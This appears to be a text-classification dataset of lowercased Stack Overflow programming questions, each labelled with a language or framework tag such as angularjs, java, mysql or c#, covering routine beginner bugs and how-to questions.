how to access a provider setter method  i have a provider that i use to set some configuration  based on the environment.    <pre><code>(function() { angular.module( testprovider ).provider( testprovider   testprovider); function testprovider() {     var foo = {          bar  :  123456       };     return {         setfoo: function(foo_data) {             angular.extend(foo  foo_data);         }          $get: function() {             return foo;         }     }; } </code></pre>   }) ();    i can access the shared config object: <code>testprovider.bar</code> works fine in a controller or runblock.    but i am struggling to invoke <code>setfoo</code> in the config module: it complains that the provider is unknown. what am i missing      jsfiddle <a href= https://jsfiddle.net/philcms1/lmm2pv5y/  rel= nofollow >here</a>.,angularjs
simple ng-click is not working in angularjs. is there anything basic that im missing here   here is my aspx:    <pre><code>&lt;body ng-controller= mycontroller &gt;     &lt;form id= form1  runat= server &gt;         &lt;div&gt;         &lt;input type= button  value= press  ng-click= incrementcount()  ng-init= count=0 /&gt;         &lt;span&gt;{{ count }}&lt;/span&gt;         &lt;/div&gt;     &lt;/form&gt; &lt;/body&gt; </code></pre>   and following is js:   <pre><code>    angular.module( mymodule   [])     .controller( mycontroller   function ($scope  $http) {        $scope.incrementcount = function () {         $scope.count = $scope.count + 2;     }; }); </code></pre>   whats wrong with my code    when i click the  press  button  it does not works as it should.,angularjs
object oriented programming for python  i am working with object oriented programming with python and i am passing values to the arguments but it is giving me error. i am using idle ide    this is what i have done   <pre><code>class employee:   def __int__(self first last pay):     self.first = first     self.last = last     self.pay = pay     self.email = first + last + @company.com    &gt;&gt;&gt; emp_1 = employee( aditi   dabre  50000)    traceback (most recent call last):    file  &lt;pyshell#9&gt;   line 1  in &lt;module&gt;    emp_1 = employee( aditi   dabre  50000)   typeerror: object() takes no parameters &gt;&gt;&gt; emp = employee() &gt;&gt;&gt; print(emp) &lt;__main__.employee object at 0x00000242d36bd7b8&gt; </code></pre>,python
would there be a significant difference in count speed with or without joins   any feedback is greatly appreciated!    i m using a paginator class that takes my query  creates two extra queries to do counts and get ids and then modifies my original query to select results by id in(list of ids here). everything is fine  except in first two queries joins are unnecessary.    does using joins in count and id getting queries slow things down signifficantly  i ask because if there is a noticeable difference  i would rather write my own paginator  but would like to avoid doing so if difference is insignifficant.    here are the generated queries i mentioned:   <pre><code>select count(distinct a0_.id) as sclr0  from   test_comment a0_         inner join test_user a1_ on a0_.user_id = a1_.id         left join test_comment_vote a2_             on a0_.id = a2_.comment_id                and (a2_.user_id =  ) where a0_.post_id =    select distinct a0_.id as id0 from test_comment a0_ inner join test_user a1_ on a0_.user_id = a1_.id left join test_comment_vote a2_ on a0_.id = a2_.comment_id and (a2_.user_id =  ) where a0_.post_id =   limit 5 offset 0  select a0_.id as id0  a0_.comment as comment1  a0_.comment_processed as comment_processed2  a0_.uvotes_up as uvotes_up3  a0_.uvotes_down as uvotes_down4  a0_.bvotes_up as bvotes_up5  a0_.bvotes_down as bvotes_down6  a0_.tvotes_up as tvotes_up7  a0_.tvotes_down as tvotes_down8  a0_.tvotes as tvotes9  a0_.created_at as created_at10  a0_.updated_at as updated_at11  a1_.id as id12  a1_.name as name13  a1_.email as email14  a1_.pass as pass15  a1_.salt as salt16  a1_.created_at as created_at17  a2_.uvote_up as uvote_up18  a2_.uvote_down as uvote_down19  a2_.bvote_up as bvote_up20  a2_.bvote_down as bvote_down21  a2_.ip as ip22  a0_.user_id as user_id23  a0_.post_id as post_id24  a2_.user_id as user_id25  a2_.comment_id as comment_id26 from test_comment a0_ inner join test_user a1_ on a0_.user_id = a1_.id left join test_comment_vote a2_ on a0_.id = a2_.comment_id and (a2_.user_id =  ) where a0_.post_id =   and a0_.id in (             ) </code></pre>,mysql
find the 42th number which sum of its digits is 42  i ve got another interesing programming/mathematical problem. i want to write an application  find the 42th number which sum of its digits is 42  i need find number which have sum of its digits is 42 and add to new array to print the 42th number in new array which have about 50 numbers have sum of its digits is 42. thank you for taking the time to help.    @implementation appdelegate   <pre><code>static nsarray *newarray ; - (void)applicationdidfinishlaunching:(nsnotification *)anotification {       int numberwithsum42;     for (int i=69999;i&lt;80000;i++)     {         int x=[self findtotalnumber:i];          if(x==12){              numberwithsum42=i;             newarray = [nsarray arraywithobjects:[nsnumber numberwithint:numberwithsum42]  nil];         }         nslog(@ %@  newarray);     }     [self print42ndvariable]; } -(void)print42ndvariable{     int j;     int count = (int)[newarray count];     for (j = 0; j &lt; count; j++){         nslog (@ 42nd variable of array   = %@   [newarray objectatindex: 42]);     }  } -(int)findtotalnumber:(int) n{     int s=0;     while (n&gt;0)     {         int k=n%10;         s=s+k;         n=n/10;     }     nslog(@ %i  s);     return n; } </code></pre>   @end,objective-c
java - class whose name is known at compile time and which extends other class at runtime  i wish to create an open source implementation (subclass) of a propriertary adapter (super)class. i have two distinct requirements:   <ol> <li>i need to extend the subclass at runtime  not at compile time</li> <li>the class name of my subclass must be known at compile time. </li> </ol>   use case: since the superclass has a propriertary license  i cannot include its source nor reference a prebuilt binary in my open source project s build. the actual runtime usage of my subclass will occur in proprietary  closed-source framework code. this framework will create an instance of my subclass by name. for that reason  my subclass name needs to be known in advance.    the latter issue seems to preclude approaches like cglib which create a new class name at runtime.    example code:   <pre><code>package com.proprietary; public class adapter {}  package org.free; public class adapterimpl     // com.proprietary is not available at compile time     // extends com.proprietary.adapter  {}  package com.proprietary; public class framework {       public static void main(string[] args) {          // simplified: class name is not hard-coded in reality           // but comes from external config          class c = class.forname( org.free.adapterimpl );          ...      } } </code></pre>,java
objective-c getting all images from file  i am getting images from url and saving to file. my codes for saving and loading:   <pre><code>-(void) saveimage:(uiimage *)image withfilename:(nsstring *)imagename oftype:(nsstring *)extension indirectory:(nsstring *)directorypath {     if ([[extension lowercasestring] isequaltostring:@ png ]) {         [uiimagepngrepresentation(image) writetofile:[directorypath stringbyappendingpathcomponent:[nsstring stringwithformat:@ %@.%@   imagename  @ png ]] options:nsatomicwrite error:nil];     } else if ([[extension lowercasestring] isequaltostring:@ jpg ] || [[extension lowercasestring] isequaltostring:@ jpeg ]) {         [uiimagejpegrepresentation(image  1.0) writetofile:[directorypath stringbyappendingpathcomponent:[nsstring stringwithformat:@ %@.%@   imagename  @ jpg ]] options:nsatomicwrite error:nil];     } else {         nslog(@ image save failed\nextension: (%@) is not recognized  use (png/jpg)   extension);     } } -(uiimage *) loadimage:(nsstring *)filename oftype:(nsstring *)extension indirectory:(nsstring *)directorypath {     uiimage * result = [uiimage imagewithcontentsoffile:[nsstring stringwithformat:@ %@/%@.%@   directorypath  filename  extension]];      return result; } </code></pre>  <blockquote>    downloading images  saving to file and loading from file are   successfully working. but i want to get all images that i save to   file. so i don t want to specify image name. how can i do this   </blockquote>,objective-c
.net ipaddress class is converting ipv6 to mapped ip address  i have ipv6 string and i want to make the ipaddress object. i tried the following code    <pre><code>string ipstring =  2400:3c00:3ffe:0000:0000:5efe:8999:48aa ; system.net.ipaddress address; ipaddress.tryparse(ipstring  out address); </code></pre>   but address.tostring() is returning the value   2400:3c00:3ffe::5efe:137.153.72.170 .     why this has been converted to mix ip,.net
how to refresh the jcombobox each selection  <pre><code> public class dropit extends jframe implements actionlistener{    jcombobox lis pop;    map&lt;string string[]&gt;map=new treemap&lt;string string[]&gt;();    jtextfield tf;    string days[]={ sun   mon   tue   wed   thur   fri   sat };    string mon[]={ man   van };    string tue[]={ car   bus }; dropit()  {     setlayout(null);     tf=new jtextfield();     tf.setbounds(50  50  100  100);     add(tf);     map.put( mon   mon);     map.put( tue  tue);     lis=new jcombobox(days);     lis.setselecteditem(4);     lis.addactionlistener(this);     lis.setbounds(100 100 100 100);     add(lis);       /*pop=new jcombobox();     pop.setbounds(200 100   100  100);     add(pop);*/     setvisible(true);     setsize(500 500);     } public void actionperformed(actionevent e)     {     lis=(jcombobox) e.getsource();     string name=(string) lis.getselecteditem();     tf.settext(name);     iterator&lt;string&gt;iter=map.keyset().iterator();     while(iter.hasnext())     {         string arryname=iter.next();         string []array=map.get(arryname);         if(arryname.contains(name))         {             pop=new jcombobox(array);             pop.setbounds(200 100   100  100);             add(pop)           }}        pop.repaint();        pop.revalidate();       }      public static void main(string[] args) {     new dropit();           }} </code></pre>   the combo box is working perfectly but the populating values in the next combo box is just working only for the first time    i tried repaint revalidate but not working    help me solve this .thanks in advance,java
build error program does not contain a static  main  method suitable for an entry point  i have a .net 2.0 web application which has full of .asp(not .aspx) and html files with   jquery. i am seeing below error when i am trying to build the application in vs 2008    <blockquote>    program  c:\work\projects\case\obj\debug\case.exe  does not contain a   static  main  method  suitable for an entry point  </blockquote>   i checked build action for asp pages and they are set to  content  . could someone explain why this is happening,asp.net
how to enable and disable div click event on ajax succeed  i have four divs on a popup and each click makes a ajax call to the back end and paints the right hand side. all four clicks are div by id clicks. when user clicks on div i want to disable the other three divs till this ajax complete. once the ajax succeeds i want to enable the click events for the other three divs. like that i want to do for all four div clicks.    sometimes the server response is slow and i don t want user to click all of them and show busy indicators for all of them.     any kind of advice is really appreciated.    thanks,jquery
if record has user   users have many cards and cards have many users  with a has_many through relationship.   <pre><code># card.rb has_many :card_assignments has_many :users  :through =&gt; :card_assignments  # user.rb has_many :card_assignments has_many :cards  :through =&gt; :card_assignments  # card_assignment.rb belongs_to :user belongs_to :card </code></pre>   in my view  i want to check if the current user is one of the users which belongs to the card  if that makes sense,ruby-on-rails
when user inputs a letter instead of number <pre><code>int anothershowing = 1; // variable for the user to select another showing.          while (anothershowing == 1) // while loop so the program keeps going until the user has selected a film.         {             console.write( select a showing:  ); // outputs  select a showing  to the console window.             int showingselect = console.readline(); // variable for the user to input a showing number and converts it to a int.             int.tryparse(anothershowing  out showingselect);             if (showingselect == 0)             {                 console.write( please input valid number );             }             showing selection; // variable so selection can be linked to the showing class to be used for the showingselect.             selection = list[showingselect - 1]; // recongnizes the showing number the user inputs.             console.write( number of tickets:  ); // oupts  number of tickets  to the console window.             int numberoftickets = convert.toint32(console.readline()); // variable for the user to input how many tickets they want and converts it to a int.              booking booking1; // variable so booking1 can be linked to the booking class to be used for the numberoftickets.             if (selection.getseatsavailable() &gt; numberoftickets) // if statement so the program knows if there are enough tickets left.             {                 booking1 = new booking(selection  numberoftickets); // if enough tickets program will make a new booking (booking1) which includes the selection and the numberoftickets.                 selection.updateseatsavailable(numberoftickets); // updates how many tickets are available for that showing.                 console.clear(); // clears the console window.                 console.write(booking1.tostring()); // outputs the booking1 variable  including the film selected and the number of tickets.                 break; // stops the program.             }             else // if there aren t enough tickets.             {                 console.writeline( showing full ); // outputs  showing full  to the console window.                 console.writeline( select another showing ); // outputs  select another showing  to the console window.             }              console.write( press 1 then return to select another showing\n ); // outputs to the console window.             anothershowing = convert.toint32(console.readline()); // allows the user to input 1 to select another showing and converts it to a int.         }          console.read();     } </code></pre>   i am trying to write a simple cinema program for a assignment. i looked at some example on how to tell the user to enter a letter instead of number if they enter a number. i have added tryparse however there are some errors:    <img src= https://i.stack.imgur.com/ppgo8.png  alt= errors >    please help in code  thanks,c#
what s the difference between a predefined global variable and a keyword in javascript   for example  i see that <code>undefined</code> is described like a predefined global variable  while <code>null</code> is described like a keyword.     what s the difference,javascript
how can i display these from my arraylist   this is my main class.     i am basing it off another example i had done before and it works jsut fine the same way  this is my first time using an arraylist so maybe it s something to do with that i m not sure. i just need it to display and the arraylist to work properly i think everything else works fine.    right now i am getting an error on:   <pre><code>console.writeline( {0 -12} {1 -12} {2 -12} {3 -12} {4 -12} {5 -12} {6 -12}       plan[idx].getcardnumber()  plan[idx].getcreditbalance()  plan[idx].getmonthlypayment()      plan[idx].getannualrate()  plan[idx].monthstopayoff()  plan[idx].totalpayment()      plan[idx].companyprofit()); </code></pre>   saying that:   <blockquote>     object  does not contain a definition for ___ eg( .getcreditbalance   </blockquote>   full program:   <pre><code>using system; using system.collections.generic; using system.collections; using system.linq; using system.text; using system.threading.tasks; using system.configuration;   namespace assignment1 {     class program     {         static void main(string[] args)         {             arraylist plan = new arraylist();             int count = 0;             char option;              console.writeline( --= credit card calculator =--  );             console.writeline();              do             {                 option = readmenuoption();                 switch (option)                 {                     case  e :                         count = count + 1;                         addpaymentplan(count  plan);                          break;                     case  v :                         display(count  plan);                         break;                     case  x :                         console.writeline( goodybye. );                         break;                     default:                         console.writeline( invalid option. );                         break;                 }              } while (option !=  x );         }           static char readmenuoption()         {             char option;              console.writeline( options menu );             console.writeline( ==================== );             console.writeline( e - enter calculation information );             console.writeline( v - view calculation report );             console.writeline( x - exit );             option = console.readline().toupper()[0];              return option;         }          static void display(int count  arraylist plan)         {             if (count == 0)             {                 console.writeline( there are no values to show! );             }             else             {                 for (int idx = 0; idx &lt; plan.count; idx = idx + 1)                 {                       console.writeline( {0 -12}  {1 -12}  {2 -12}  {3 -12}  {4 -12}  {5 12}  {6 -12}     card number    card balance    monthly payment    apr    months to pay    total payment    company profit );                      console.writeline( {0 -12}   {1 -12}  {2 -12}   {3 -12}   {4 -12}   {5 -12}   {6 -12}   plan[idx].getcardnumber()  plan[idx].getcreditbalance()  plan[idx].getmonthlypayment()  plan[idx].getannualrate()  plan[idx].monthstopayoff()  plan[idx].totalpayment()  plan[idx].companyprofit());                 }              }         }          static int addpaymentplan(int count  arraylist plan)           {             paymentplan p = new paymentplan();                  do                 {                     try                     {                         console.write( enter card number:  );                         p.setcardnumber(long.parse(console.readline()));                       }                     catch                     {                         console.writeline( invalid card number );                     }                 } while (p.getcardnumber().equals(  ));                  do                 {                     try                     {                         console.write( enter card balance:  );                         p.setcreditbalance(double.parse(console.readline()));                      }                     catch                     {                         console.writeline( invalid card balance. );                     }                 } while (p.getcreditbalance().equals(  ));                   do                 {                     try                     {                         console.write( enter payment amount:  );                         p.setmonthlypayment(double.parse(console.readline()));                      }                     catch                     {                         console.writeline( invalid payment amount. );                     }                 } while (p.getmonthlypayment().equals(  ));                    do                 {                     try                     {                         console.write( enter annual rate:  );                         p.setannualrate(double.parse(console.readline()));                      }                     catch                     {                         console.writeline( invalid );                     }                 } while (p.getannualrate().equals(  ));                  plan.add(p);                  console.writeline( it will take {0} months to pay off your credit card   p.monthstopayoff());                 console.writeline();               count = count + 1;             return count;            }     } }           and my payment plan class :   using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace assignment1 {     class paymentplan     {         private long _cardnumber;         private double _creditbalance;         private double _monthlypayment;         private double _annualrate;          public paymentplan()         {             _cardnumber = 0;             _creditbalance = 0;             _monthlypayment = 0;             _annualrate = 0;         }          public paymentplan(long cardnumber  double creditbalance  double monthlypayment  double annualrate)         {             setcardnumber(cardnumber);             setcreditbalance(creditbalance);             setmonthlypayment(monthlypayment);             setannualrate(annualrate);         }          public long getcardnumber()         {             return _cardnumber;         }          public void setcardnumber(long cardnumber)         {             if (cardnumber &lt; 0)             {                 throw new exception( has to be a positive number );             }             _cardnumber = cardnumber;         }          public double getcreditbalance()         {             return _creditbalance;         }          public void setcreditbalance(double creditbalance)         {             if (creditbalance &lt; 0)             {                 throw new exception( has to be a positive number );             }             _creditbalance = creditbalance;         }          public double getmonthlypayment()         {             return _monthlypayment;         }          public void setmonthlypayment(double monthlypayment)         {             if (monthlypayment &lt; 0)             {                 throw new exception( has to be a positive number );             }             _monthlypayment = monthlypayment;         }         public double getannualrate()         {             return _annualrate;         }          public void setannualrate(double annualrate)         {             if (annualrate &lt; 0 || annualrate &gt; 1)             {                 throw new exception( has to be a positive number between 0.0 &amp; 1.0 );             }             _annualrate = annualrate;         }          public double monthstopayoff()         {             double months;             double daily;             double monthly;             double tinycalc;             double innerbrac;             double bottom;             double upperbrac;              daily = _annualrate / 365;              //calculates number of months to be returned to main and displayed for user             monthly = _creditbalance / _monthlypayment;             tinycalc = -1.0 / 30;             innerbrac = math.pow(1 + daily  30);             bottom = math.log(1 + daily);             upperbrac = math.log(1 + (_monthlypayment * (1 - innerbrac)));              months = math.round(tinycalc * (upperbrac / bottom));              return months;         }          public double totalpayment()         {             return getcreditbalance() * (monthstopayoff() * getmonthlypayment());         }          public double companyprofit()         {              return totalpayment() - _creditbalance;         }      } } </code></pre>,c#
java code to build a path  i was trying to make a code that will take input from a user and prints out the file path. i came across a interesting example. but i got stuck understanding a line.   <pre><code>//gets input from the user bufferedreader input = new bufferedreader(newinputstreamreader(s.getinputstream())); string request = input.readline(); string path = new string();   int start = 0; int end = 0;  for (int a = 0; a &lt; request.length(); a++) {     if (request.charat(a) ==     &amp;&amp; start != 0) {         end = a;         break;     }      if (request.charat(a) ==     &amp;&amp; start == 0) {         start = a;     } }  path = request.substring(start + 2  end);  </code></pre>   why is a 2 is added at the end,java
how do i validate code that reads input of numbers within a range of 1 000 to 999 999   i have it taking a number in the range from 1000 to 999999 also allowing for a comma. i now need to validate the code and provide the appropriate error messages.    <pre><code>import java.util.scanner;  public class consolereader {  public static void main(string[] args) {     // todo auto-generated method stub      // get a connection to the keyboard      scanner in = new scanner(system.in);       // ask the user for input      system.out.print( please enter an integer between 1 000 and 999 999:  );     // read user s input      string number = in.next();       // get the first part (no comma or thousands)      string firstpart = number.substring(0  number.length() - 4);      // get last three digits      string lastthreedigits = number.substring(number.length() - 3);       // print the two without the comma      system.out.println(firstpart + lastthreedigits); }    { if (in.hasnextint()) {     string number = in.next(); } else {     system.out.println( please try again. ); } } } </code></pre>,java
ipython core display error html object  i am getting above error after running my codes. can anybody please explain why this error occurs. i just need to know for what reasons that happens. thanks.,html
why does the compiler show the error  no match for  operator[]  (operand types are  carti  and  int )   every time i try to run my code the compiler always shows error: no match for  operator[]  (operand types are  carti  and  int )| multiple times. i m trying to read 10 structures out of a single file and assign them to the  c[i]  variable using the  for  loop  sort them in three different ways and then print them on-screen. (this is a school assignment) this is my code so far:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; using namespace std;  struct carti{     char nume[41];     float pret;     float rating; }c;  int main(){     int i j;     ifstream fin;     fin.open( carti.txt );     for(i=0;i&lt;10;i++){         getline(c[i].nume 41)         fin&gt;&gt;c[i].pret;         fin&gt;&gt;c[i].rating;         cout&lt;&lt; c[i]&lt;&lt; \n ;     }     for(i=0;i&lt;10;i++){         if(c[i].nume[0]&gt;c[i+1].nume[0]){             c[i]=c[i+1];         }     }     for(i=0;i&lt;10;i++){         cout&lt;&lt;c[i]&lt;&lt; \n ;     }     for(i=0;i&lt;10;i++){         if(c[i].pret&gt;c[i+1].pret){             c[i]=c[i+1];         }     }     for(i=0;i&lt;10;i++){         cout&lt;&lt;c[i]&lt;&lt; \n ;     }     for(i=0;i&lt;10;i++){         if(c[i].rating&gt;c[i+1].rating){             c[i]=c[i+1];         }     }     for(i=0;i&lt;10;i++){         cout&lt;&lt;c[i]&lt;&lt; \n ;     } } </code></pre>,c++
javascript window.scrollto alternative  i m writing a specific javascript plugin for a specific website.    in one of my methods i want to use <code>window.scrollto</code> but unfortunately the site owner has overridden the native functionality of this function (also window.scroll).    so i m thinking about 2 possible solutions:    <ol> <li>write my own <code>myscrollto</code> implementation</li> <li>somehow detect if the native function is overridden and call the native function.</li> </ol>   if you have any ideas on this  i will be very glad to hear them :)    thanks.,javascript
calculate the difference of two columns and store to another column  i have table called total_table in which i have 3 columns requested_amount total and difference. <a href= https://i.stack.imgur.com/p1ur4.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/p1ur4.png  alt= total_table ></a>     i want the query to calculate the difference value of requested_amount and total columns (requested_amount - total) and store it in difference column of same table.,mysql
comparing 8 properties with 3 other properties and setting matches to nil  i have an object called brain    brain has 8 properties that contain an  animal  object.    brain.animal1  brain.animal2  animal3  ... brain.animal8    i then have three other properties called    brain.selectedanimal1  brain.selectedanimal2  brain.selectedanimal3    what i would like to do is loop through all of the 8 animal properties... and if one of those animal properties matches up with selectedanimal1 property  i want to set the animal property to nil.    i only want to set one animal property to nil (i.e. if two of the animal properties match the selectedanimal1 property i only want the first one to be set to nil  not both)    then i want to do the same loop but compare with selectedanimal2 and selectedanimal3 properties and set animal properties to nil if they match with a selectedanimal.    can anyone help with this    i m just not quite good enough yet with objective-c to get this to work without writing about 50 lines of code    so to recap...  i start with 8 animal properties and would like to end with 5 animal properties (3 being set to nil)    thanks in advance,objective-c
service stopes when i end application  when i end application with end button at task manager   my service stops with this   my service process uses the same activity process and i do not want to use service in other process .  is there any way when user stop activity   it do not closes service with that,android
java profiling for disk usage  i want to currently profile my application which uses jcs for caching.i have used the default profiler which comes with netbeans ide and it proves satisfactory for memory.but i want to profile my application for disk usage because my app caches items in disk i want to verify its performance.is there a way to do this using the profiler that comes with netbeans or using any commercial profiler such as jprofiler. thanks in advance,java
random number frame.origin.x  i want a random <code>frame.origin.x</code> and <code>frame.origin.y</code> on each button click. the button need s to move inside of the iphone screen.   <pre><code>cgrect frame = mybutton.frame;  frame.origin.x = 10; frame.origin.y = 10;  [uiview beginanimations:nil context:nil]; [uiview setanimationduration: 0.1]; mybutton.frame = frame; [uiview commitanimations]; </code></pre>   does anyone know how i can generate a random number/position  something like     <pre><code>frame.origin.x = frame.size.width * (arc4random() % (10 - 1));   </code></pre>   but this is moving the button outside the screen,objective-c
what error should i get if the program must use .net framework and user have not installed one   this is kind of a silly question because most people ask the opposite such as: why am i getting this and this error. lol    but my question is what error will i get when i am trying to run .net framework program while not having it installed     i don t have a pc with out .net framework so i cannot check in short notice.    please point out the error.    i need this because i am creating a faq in help section of my program and i am trying to be specific.,.net
jquery calculator not working  i am trying to build a tile calculator but can t seem to get the following code to work:    jquery:   <pre><code>$(document).ready(     function caculateform() {         var length = document.getelementbyid( length ).value;         var width = document.getelementbyid( width ).value;         var size = document.getelementbyid( size ).value;         var compute = (length * width) / (size / 100);         var total = compute * 100;         var allowance = (compute * 100) * .10;         allowance = math.floor(total) + math.floor(allowance + 1);         document.getelementbyid( total ).value = math.floor(total);         document.getelementbyid( allowance ).value = allowance;     } });   $(document).ready(     function clearfileinput(id) {         var elem = document.getelementbyid(id);         elem.parentnode.innerhtml = elem.parentnode.innerhtml;     } }); </code></pre>   here is my <a href= http://jsfiddle.net/f8ehw/  rel= nofollow >jsfiddle</a>,jquery
data is not passing from directive into template  although i ve attached a list of array to my <code>$rootscope</code> and i can print it out in console; its not getting passed through to my html template    <strong>directive</strong>   <pre><code>   (function () {          use strict ;         angular             .module( app )             .directive( navigation   navigation);          navigation.$inject = [ $rootscope    $timeout    $state    navservice ];          function navigation($rootscope $timeout  $state  navservice) {              var state;              $rootscope.nav = navservice.nav;             //i can see the list of arrays here             console.log($rootscope.nav);              return {                 restrict:  ae                   replace:  true                   scope: { state:  = }                  templateurl:  /layout/navigation/nav.html              };          };     })(); </code></pre>   <strong>nav.html</strong>: {{nav}} returns empty   <pre><code>&lt;header class= navbar navbar-default navbar-fixed-top  id= top  role= banner &gt;     &lt;div class= navbar-header &gt;         &lt;button aria-controls= bs-navbar  aria-expanded= false  class= navbar-toggle collapsed           data-target= #bs-navbar  data-toggle= collapse  type= button &gt;&lt;span class= sr-only &gt;toggle navigation&lt;/span&gt;          &lt;span class= icon-bar &gt;&lt;/span&gt; &lt;span class= icon-bar &gt;&lt;/span&gt;          &lt;span class= icon-bar &gt;&lt;/span&gt;&lt;/button&gt;         &lt;a class= navbar-brand  href= ../ &gt;ordergator&lt;/a&gt;     &lt;/div&gt;     &lt;nav class= collapse navbar-collapse  id= bs-navbar &gt;         &lt;ul class= nav navbar-nav &gt;             &lt;!-- not showing here --&gt;             &lt;li ng-repeat= item in nav   ui-sref-active= active &gt;                 &lt;a ui-sref= {{item.alias}} &gt;                     {{item.name}}                 &lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt;         &lt;ul class= nav navbar-nav navbar-right &gt;              &lt;li ui-sref-active= active  ng-hide= state.restrict &gt;                 &lt;a ui-sref= /auth/login &gt;sign in&lt;/a&gt;&lt;/li&gt;             &lt;li ui-sref-active= active  ng-hide= state.restrict &gt;                 &lt;a ui-sref= /auth/register  class= boxed &gt;request demo&lt;/a&gt;             &lt;/li&gt;             &lt;li ui-sref-active= active  ng-show= state.restrict &gt;                 &lt;a ui-sref= settings &gt;settings&lt;/a&gt;             &lt;/li&gt;             &lt;li ui-sref-active= active  ng-show= state.restrict &gt;                 &lt;a ui-sref= /auth/logout &gt;sign out&lt;/a&gt;             &lt;/li&gt;             &lt;li ui-sref-active= active  ng-show= state.restrict &gt;                 &lt;a ui-sref= support  class= boxed &gt;support&lt;/a&gt;             &lt;/li&gt;          &lt;/ul&gt;     &lt;/nav&gt;  &lt;/header&gt; </code></pre>   <strong>nav.service.js</strong>   <pre><code>(function () {      use strict ;     angular         .module( app )         .service( navservice   navservice);      function navservice($http) {           var navservice = {             nav: nav()         };          return navservice;          function nav() {              return nav =              [{                  name :  overview                    alias :  overview                    content : {                      title :  title.                  }                   restrict : false              }  {                  name :  features                    alias :  features                    content : {                      title :  title.                  }                   restrict : false              }  {                  name :  success stories                    alias :  success-stories                    content : {                      title :  title.                  }                   restrict : false              }  {                  name :  resources                    alias :  resources                    content : {                      title :  title.                  }                   restrict : false              }  {                  name :  faq                    alias :  faq                    content : {                      title :  title.                  }                   restrict : false              }  {                  name :  get started                    alias :  get-started                    content : {                      title :  title.                  }                   restrict : false              }  {                  name :  dashboard                    alias :  dashboard                    content : {                      title :  title.                  }                   restrict : true              }  {                  name :  orders                    alias :  orders                    content : {                      title :  title.                  }                   restrict : true              }  {                  name :  products                    alias :  products                    content : {                      title :  title.                  }                   restrict : true              }  {                  name :  transactions                    alias :  transactions                    content : {                      title :  title.                  }                   restrict : true              }  {                  name :  companies                    alias :  companies                    content : {                      title :  title.                  }                   restrict : true              }];          };      }; })(); </code></pre>,angularjs
open file dialog in js/jq  i d expect the following to open file dialog  but it doesn t. why    <pre><code>$( &lt;input type= file /&gt; ).click(); </code></pre>,jquery
comparing old and new observer values but if function is not working as expected  i ve got 2 fade methods that simply change the background of a textfield. the only difference is the image used for the background. the names of the images have been copied and pasted so there s no spelling errors.   <pre><code>- (ibaction)fadeenable:(uitextfield *)textfield; {  [uiview beginanimations:nil context:null]; [uiview setanimationduration:1.00]; [textfield setalpha:0]; [uiview commitanimations];  textfield.background = [uiimage imagenamed:@ background_for_text.png ];  [uiview beginanimations:nil context:null]; [uiview setanimationduration:1.00]; [textfield setalpha:1]; [uiview commitanimations];  }  - (ibaction)fadedisable:(uitextfield *)textfield; {  [uiview beginanimations:nil context:null]; [uiview setanimationduration:1.00]; [textfield setalpha:0]; [uiview commitanimations];  textfield.background = [uiimage imagenamed:@ background_for_text_2 ];  [uiview beginanimations:nil context:null]; [uiview setanimationduration:1.00]; [textfield setalpha:1]; [uiview commitanimations];  } </code></pre>   i have an observer on my textfield which looks to see if the  enabled@ property has been changed.    i m trying to write a little bit of code that says if the enabled property changes  and it changes to enabled  then run the enabled animation. if it changes to disabled  run the disabled animation.    unfortunately  it only runs the fadedisabled method in both scenarios and i have no idea why.   <pre><code>- (void) observevalueforkeypath:(nsstring *)keypath ofobject:(id)object change:(nsdictionary *)change context:(void *) context; {   uitextfield *txtfield = (uitextfield *)object;     bool new = [[change objectforkey:nskeyvaluechangenewkey] boolvalue]; bool old = [[change objectforkey:nskeyvaluechangeoldkey] boolvalue];  nslog(@ new %i  new); nslog(@ old %i  old);  if ((new != old) &amp;&amp; (new == no)) {   [self fadedisable:txtfield]; }  else if ((new != old) &amp;&amp; (new == yes)) {  [self fadeenable:txtfield]; }  } </code></pre>,objective-c
how to generate this mysql query  i have this database table named messages:   <pre><code>column          type      global_ref_id   int(12)           to              int(12)       from            int(12)       message         text              status          int(1)    viewed          int(1) </code></pre>   where global_ref_id is id of messages (foreign key from table events)  to is user id of user who received message  from is user id  of user who send the message.    i want to generate a query which gives me result displaying last message from each user to a user (say whose user_id is 192) also giving total number of messages from each user to user 192.    till now i came up with this query to get results:   <pre><code>&gt; select messages.* &gt;                 from messages  events &gt;                 where events.global_id = messages.global_ref_id &gt;                 and to = 192 &gt;                 group by messages.from &gt;                 order by events.event_time desc </code></pre>,mysql
models or migrations first in rails   i wonder  should i create models or migrations first in rails     i ve been following bdd  testing first  then actual code. that has given me an insight of going from top to bottom.    i have heard some people say: first models and their associations  then migrations to create the database for them. migrations/tables adapt to models  not the other way around.    so does this mean it s smart to go for the top-down approach here too  models (associations  validations) first  then migrations,ruby-on-rails
are there any tools available which can test which css rules are unused  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/792623/find-css-not-applied-rules >find css not applied rules</a>    </blockquote>     i have a css file with tons of rules that i know aren t being used because i ve completely deleted the elements that used them. but there are a lot and it d be a huge amount of work testing each rule to see if it s used or not.    is there a way to automate this,css
how to check values numbers after the decimal point  i have tried looking for a similar question here but i can only find how to count the number of decimal places.    what i want to know is: how do i find the value of the decimal places that are >0     for example  if we have:   <pre><code>decimal value = 1.920m; decimal value2 = 1.900m; </code></pre>   how do i check if the values after the decimal point are >0     i want to be able to check this and restrict the display accordingly so i can display something like this:   <pre><code>1.92 1.9 </code></pre>,c#
